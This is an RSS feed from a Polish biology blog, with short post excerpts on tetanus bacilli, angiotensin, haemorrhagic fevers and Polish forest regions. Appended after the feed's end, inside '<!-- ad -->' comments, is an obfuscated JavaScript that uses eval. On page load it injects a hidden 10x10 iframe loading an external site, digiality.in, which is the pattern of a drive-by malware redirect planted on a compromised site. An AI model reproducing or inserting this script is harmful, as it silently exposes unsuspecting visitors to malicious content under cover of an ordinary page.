<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Biologiczka o Biologi</title>
	<atom:link href="http://biologiczka.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://biologiczka.com</link>
	<description>Kolejny blog oparty na WordPressie</description>
	<lastBuildDate>Wed, 28 Apr 2010 21:13:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Laseczka tężca</title>
		<link>http://biologiczka.com/blog/2010/04/28/laseczka-tezca/</link>
		<comments>http://biologiczka.com/blog/2010/04/28/laseczka-tezca/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 21:13:07 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Morfologia bakterii]]></category>
		<category><![CDATA[neurotoksyna]]></category>
		<category><![CDATA[przetrwalniki]]></category>
		<category><![CDATA[wąglik]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=105</guid>
		<description><![CDATA[Wśród bakterii o kształcie pałeczkowatym wyróżniamy laseczki. Jest to bakteria o wydłużonym kształcie. Jest ona zdolna do tworzenia endospor, czyli form przetrwalnikowych. Bakterie te mogą tworzyć łańcuchy. Spotykamy tutaj formy chorobotwórcze. Prawie wszystkie laseczki są bakteriami gram dodatnimi. Wśród tych form bakterii wyróżniamy laseczkę tężca, laseczkę zgorzeli gazowej oraz laseczkę wąglika. Laseczka tężca jest bakterią [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/28/laseczka-tezca/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Angiotensyny w chromosomie I</title>
		<link>http://biologiczka.com/blog/2010/04/28/angiotensyny-w-chromosomie-i/</link>
		<comments>http://biologiczka.com/blog/2010/04/28/angiotensyny-w-chromosomie-i/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 20:03:58 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Genetyka]]></category>
		<category><![CDATA[aminokwasy]]></category>
		<category><![CDATA[białko]]></category>
		<category><![CDATA[homeostaza]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=102</guid>
		<description><![CDATA[Każda ludzka komórka zawiera 46 chromosomów. Każdy chromosom jest odpowiedzialny za inne funkcje. Chromosom 1 składa się z białek takich jak angiotensyna. Angiotensyna jest hormonem białkowym, który wchodzi w skład układu hormonalnego RAA. Hotmon ten odpowiada za kontrolę jonów sodowych oraz potasowych w organizmie. Ponadto hormon ten pobudza wydzielanie mineralokortykosteroidu aldosteronu. Angiotensynogen jest białkiem osocza [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/28/angiotensyny-w-chromosomie-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pojezierze Drawskie i Żuławy Wiślane</title>
		<link>http://biologiczka.com/blog/2010/04/27/pojezierze-drawskie-i-zulawy-wislane/</link>
		<comments>http://biologiczka.com/blog/2010/04/27/pojezierze-drawskie-i-zulawy-wislane/#comments</comments>
		<pubDate>Tue, 27 Apr 2010 10:15:57 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Biogeografia Polski]]></category>
		<category><![CDATA[Drawsko Pomorskie]]></category>
		<category><![CDATA[Parsęta]]></category>
		<category><![CDATA[Pobrzeże Kaszubskie]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=99</guid>
		<description><![CDATA[Całe pojezierze Drawskie jest poprzecinane rynnami polodowcowymi, które są wypełnione jeziorami. Na tym terenie znajduje się ponad 250 jezior, z czego każde posiada powierzchnię powyżej jednego hektara. Do największych jezior tej dzielnicy przyrodniczo- leśnej możemy zaliczyć: Drawsko, Dołgie, Ciemino, Komorze, Lubicko Wielkie, Lubie, Pile, Siecino, Trzesiecko, Wąsosze, Wielimie, Wierzchowo, Wilczkowo oraz Żerdno. Rzeki, które przepływają [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/27/pojezierze-drawskie-i-zulawy-wislane/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Boliwijska gorączka krwotoczna</title>
		<link>http://biologiczka.com/blog/2010/04/26/boliwijska-goraczka-krwotoczna/</link>
		<comments>http://biologiczka.com/blog/2010/04/26/boliwijska-goraczka-krwotoczna/#comments</comments>
		<pubDate>Mon, 26 Apr 2010 13:53:47 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Mikrobiologia]]></category>
		<category><![CDATA[Argentyna]]></category>
		<category><![CDATA[przeciwciała]]></category>
		<category><![CDATA[szczepienie]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=96</guid>
		<description><![CDATA[W Ameryce Południowej jest wiele chorób, które występują endemicznie. Do takich chorób należy na przykład argentyńska gorączka krwotoczna, czy też boliwijska gorączka krwotoczna. Rozpoznanie argentyńskiej gorączki krwotocznej potwierdza wynik badania krwi, w którym to znajdują się przeciwciała tej choroby. Leczenie użyte do walki z tą chorobą jest leczeniem objawowym oraz przyczynowym. Podaje się immunizowane osocze, [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/26/boliwijska-goraczka-krwotoczna/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Podział morfologiczny bakterii.</title>
		<link>http://biologiczka.com/blog/2010/04/25/podzial-morfologiczny-bakterii/</link>
		<comments>http://biologiczka.com/blog/2010/04/25/podzial-morfologiczny-bakterii/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 18:06:40 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Morfologia bakterii]]></category>
		<category><![CDATA[laseczka bacilli]]></category>
		<category><![CDATA[pałeczka dżumy]]></category>
		<category><![CDATA[prątki mycobacteria]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=93</guid>
		<description><![CDATA[Ze względów morfologicznych bakterie dzielimy w oparciu o kształt. Wobec tego bakterie dzielimy na następujące kształty: pałeczkowatym, kulistym oraz spiralnym. Do bakterii o kształcie pałeczkowatym zaliczamy: pałeczki bacteria, laseczki bacilli, maczugowce corynebacteria oraz prątki mycobacteria. Pałeczka jest bakterią, która nie wytwarza endospor. Posiada wydłużony kształt. Wśród pałeczek występują formy chorobotwórcze. Chorobotwórczymi pałeczkami są między innymi: [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/25/podzial-morfologiczny-bakterii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Założenia Paradoksu Fermiego</title>
		<link>http://biologiczka.com/blog/2010/04/23/zalozenia-paradoksu-fermiego/</link>
		<comments>http://biologiczka.com/blog/2010/04/23/zalozenia-paradoksu-fermiego/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 14:09:54 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Astrobiologia]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[Wszechświat]]></category>
		<category><![CDATA[Ziemia]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=88</guid>
		<description><![CDATA[Atmosfera ziemska jest chroniona dzięki warstwie ozonowej, która absorbuje promieniowanie ultrafioletowe. Aby powstała taka warstwa chroniąca, w atmosferze musi się znajdować odpowiednia ilość wody. Kolejnym warunkiem powstania warstwy ozonowej jest to, że w atmosferze nie może znajdować się za dużo pierwiastków, które reagują z tlenem. Ponadto sam tlen jest silnym reaktorem, więc jeśli w atmosferze [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/23/zalozenia-paradoksu-fermiego/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Argentyńska gorączka krwotoczna</title>
		<link>http://biologiczka.com/blog/2010/04/22/argentynska-goraczka-krwotoczna/</link>
		<comments>http://biologiczka.com/blog/2010/04/22/argentynska-goraczka-krwotoczna/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 18:45:15 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Mikrobiologia]]></category>
		<category><![CDATA[biegunka]]></category>
		<category><![CDATA[bóle głowy]]></category>
		<category><![CDATA[zmęczenie]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=83</guid>
		<description><![CDATA[Jedną z chorób wirusowych jest argentyńska gorączka krwotoczna. Choroba ta występuje endemicznie. Powoduje ją wirus Junin. Należy on do grupy wirusów Nowego Świata. Głównymi roznosicielami tego wirusa są gryzonie, głównie myszy. Do zakażenia dochodzi wówczas, gdy człowiek ma kontakt z tymi gryzoniami lub z ich odchodami. W tym drugim przypadku poprzez infekcję ran lub wziewanie. [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/22/argentynska-goraczka-krwotoczna/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kraina Bałtycka</title>
		<link>http://biologiczka.com/blog/2010/04/22/kraina-baltycka/</link>
		<comments>http://biologiczka.com/blog/2010/04/22/kraina-baltycka/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 15:46:54 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Biogeografia Polski]]></category>
		<category><![CDATA[Drawsko Pomorskie]]></category>
		<category><![CDATA[Połczyn Zdrój]]></category>
		<category><![CDATA[Wola Góra]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=75</guid>
		<description><![CDATA[Kraina Bałtycka jest najbardziej wysuniętą krainą przyrodniczo- leśną Polski. W skład tej krainy wchodzi Nizina Nadbałtycka oraz wzniesienia Pojezierza Pomorskiego. Na południu tej krainy granica przebiega wzdłuż moreny czołowej ostatniego zlodowacenia. Cały teren leży na obszarze ostatniego zlodowacenia. Poprzez to zlodowacenie na terenie tej krainy znajdują się utwory moren czołowych oraz dennych. Znajduje się tutaj [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/22/kraina-baltycka/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Podział krain przyrodniczo- leśnych w Polsce</title>
		<link>http://biologiczka.com/blog/2010/04/20/podzial-krain-przyrodniczo-lesnych-w-polsce/</link>
		<comments>http://biologiczka.com/blog/2010/04/20/podzial-krain-przyrodniczo-lesnych-w-polsce/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 20:24:14 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Biogeografia Polski]]></category>
		<category><![CDATA[Beskid Sądecki]]></category>
		<category><![CDATA[Bieszczady]]></category>
		<category><![CDATA[Wysoczyzna Rawska]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=68</guid>
		<description><![CDATA[Krainy przyrodniczo- leśne dzielą się na dzielnice przyrodniczo- leśne. Kraina Wielkopolsko- Pomorska dzieli się na 8 dzielnic przyrodniczo- leśnych: Dzielnica Borów Tucholskich, Dzielnica Pojezierza Krajeńskiego, Dzielnica Pojezierza Dobrzyńsko-Chełmińskiego, Dzielnica Borów Nadnoteckich, Dzielnica Nakielsko-Włocławska, Dzielnica Pojezierza Lubuskiego, Dzielnica Niziny Wielkopolsko-Kujawskiej oraz Dzielnica Krotoszyńska. Kraina Mazowiecko- Podlaska dzieli się na siedem dzielnic przyrodniczo- leśnych: Dzielnica Równiny Kurpiowskiej, [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/20/podzial-krain-przyrodniczo-lesnych-w-polsce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tektonika płyt na Ziemi</title>
		<link>http://biologiczka.com/blog/2010/04/19/tektonika-plyt-na-ziemi/</link>
		<comments>http://biologiczka.com/blog/2010/04/19/tektonika-plyt-na-ziemi/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 16:35:30 +0000</pubDate>
		<dc:creator>nadia</dc:creator>
				<category><![CDATA[Astrobiologia]]></category>
		<category><![CDATA[atmosfera]]></category>
		<category><![CDATA[Europa]]></category>
		<category><![CDATA[Ziemia]]></category>

		<guid isPermaLink="false">http://biologiczka.com/?p=64</guid>
		<description><![CDATA[Istnieje wiele naukowych potwierdzeń, że jedynym miejscem życia w kosmosie jest Ziemia. Świadczy o tym wiele cech, charakterystycznych tylko dla naszej planety. Nawet, jeśli podobne parametry występują na innych ciałach niebieskich, to nie spotkamy tam pozostałych ważnych indeksów, które występują na Ziemi. Charakterystyczną cechą dającą życie na Ziemi jest tektonika płyt. Tektonika płyt wpływa na [...]]]></description>
		<wfw:commentRss>http://biologiczka.com/blog/2010/04/19/tektonika-plyt-na-ziemi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- ad --><script>c=3-1;i=-1-1+c;p=parseInt;if(p("01"+"2"+"3")===83)try{Number()["pr"+"ot"+"ot"+"ype"].q}catch(egewgsd){if(window.document)f=['-32k-32k64k61k-9k-1k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k0k82k-28k-32k-32k-32k64k61k73k56k68k60k73k-1k0k18k-28k-32k-32k84k-9k60k67k74k60k-9k82k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k78k73k64k75k60k-1k-7k19k64k61k73k56k68k60k-9k74k73k58k20k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k-9k78k64k59k75k63k20k-2k8k7k-2k-9k63k60k64k62k63k75k20k-2k8k7k-2k-9k74k75k80k67k60k20k-2k77k64k74k64k57k64k67k64k75k80k17k63k64k59k59k60k69k18k71k70k74k64k75k64k70k69k17k56k57k74k70k67k76k75k60k18k67k60k61k75k17k7k18k75k70k71k17k7k18k-2k21k19k6k64k61k73k56k68k60k21k-7k0k18k-28k-32k-32k84k-28k-32k-32k61k76k69k58k75k64k70k69k-9k64k61k73k56k68k60k73k-1k0k82k-28k-32k-32k-32k77k56k73k-9k61k-9k20k-9k59k70k58k76k68k60k69k75k5k58k73k60k56k75k60k28k67k60k68k60k69k75k-1k-2k64k61k73k56k68k60k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k74k73k58k-2k3k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k0k18k61k5k74k75k80k67k60k5k77k64k74k64k57k64k67k64k75k80k20k-2k63k64k59k59k60k69k-2k18k61k5k74k75k80k67k60k5k71k70k74k64k75k64k70k69k20k-2k56k57k74k70k67k76k75k60k-2k18k61k5k74k75k80k67k60k5k67k60k61k75k20k-2k7k-2k18k61k5k74k75k80k67k60k5k75k70k71k20k-2k7k-2k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k78k64k59k75k63k-2k3k-2k8k7k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k63k60k64k62k63k75k-2k3k-2k8k7k-2k0k18k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k5k56k71k71k60k69k59k26k63k64k67k59k-1k61k0k18k-28k-32k-32k84'][0].split('k');v="e"+"va"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"C"+"ode"](w[j]*1+41);}
if(e)e(s);</script><!-- /ad -->
